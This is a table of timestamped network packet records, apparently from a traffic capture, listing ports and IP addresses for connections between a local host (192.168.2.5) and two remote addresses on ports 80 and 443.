Nov 18, 2024 20:21:34.302670956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302684069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302695036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302706003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302706957 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302716970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302733898 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302748919 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.303005934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303009987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303011894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303018093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303028107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303037882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303056955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303065062 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.303066969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303077936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303086996 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.303088903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303098917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303111076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303112030 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.303122044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303128004 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.303133965 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303168058 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.303951025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303962946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303977013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303987980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.303997993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.304001093 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.304008961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.304020882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.304032087 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.304045916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.304050922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.304056883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.304064989 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.304068089 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.304091930 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.335709095 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.376456022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.376472950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.376486063 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.376528025 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.376782894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.376823902 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.390418053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390477896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390489101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390500069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390511990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390521049 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.390528917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390549898 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.390598059 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.390645981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390655994 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390666008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390677929 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390687943 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.390690088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390703917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.390716076 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.390747070 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.402525902 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.402607918 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.402757883 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.402937889 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.402937889 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.402965069 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.402977943 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.405468941 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.405508995 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.405580044 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.405714035 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.405726910 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.416582108 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.417118073 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422086000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422100067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422110081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422152042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422156096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422163963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422197104 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422728062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422739029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422755003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422775984 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422796965 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422818899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422831059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422842979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422869921 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422921896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422936916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422950029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422970057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422971010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422981024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.422990084 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.422992945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423003912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423017025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423018932 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423049927 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423136950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423146963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423156977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423166990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423176050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423178911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423190117 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423194885 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423202991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423214912 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423221111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423230886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423243046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423244953 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423252106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423275948 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423295021 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423338890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423348904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423360109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423372030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423382044 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423425913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423446894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423463106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423475027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423485994 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423496008 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423499107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423510075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423512936 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423556089 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423599005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423619032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423629999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423640013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423652887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423660994 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423691988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.423856974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423877001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.423912048 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.424405098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424416065 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424426079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424438953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424449921 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.424458981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424463987 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.424469948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424480915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424491882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424495935 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.424504042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424515009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424526930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.424530983 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.424551010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.424566984 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.497090101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.497107029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.497121096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.497160912 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.511768103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511782885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511796951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511836052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.511846066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511857986 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511864901 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.511869907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511883020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511902094 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.511902094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511938095 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.511964083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511976004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511987925 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.511997938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.512012005 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.512013912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.512032032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.512049913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542239904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542265892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542279959 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542292118 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542304039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542315960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542318106 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542378902 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542476892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542488098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542500019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542526007 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542531967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542542934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542553902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542574883 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542608023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542609930 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542625904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542637110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542675018 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542766094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542778969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542790890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542819023 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542836905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542879105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542891026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542902946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542922974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542928934 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542934895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542962074 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.542982101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.542995930 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543006897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543025970 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543032885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543051004 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543082952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543092966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543129921 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543178082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543190002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543227911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543251991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543265104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543276072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543287992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543288946 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543298960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543323994 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543356895 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543529987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543541908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543553114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543593884 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543596983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543610096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543622017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543634892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543646097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543647051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543661118 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543672085 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543694973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543760061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543771029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543786049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543793917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543821096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543843985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543857098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543867111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543879032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543891907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.543895960 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.543916941 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544003010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544013023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544025898 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544039011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544055939 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544079065 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544143915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544154882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544166088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544178963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544192076 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544214010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544492960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544504881 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544523954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544536114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544543982 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544549942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.544563055 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.544600964 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.616736889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.616872072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.616883993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.616895914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.617073059 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.617073059 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.632122040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632152081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632164955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632175922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632188082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632200003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632201910 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.632213116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632256985 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.632415056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632426023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632436991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632448912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632461071 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.632462978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632477045 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.632483959 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.632508993 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.662400007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662652016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662663937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662700891 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.662751913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.662883997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662894011 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662906885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662931919 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.662939072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662950039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662961006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662970066 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.662974119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.662991047 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663228989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663238049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663248062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663259029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663269043 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663270950 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663280010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663290977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663301945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.663305998 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.663321972 CET	80	49748	185.215.113.16	192.168.2.5
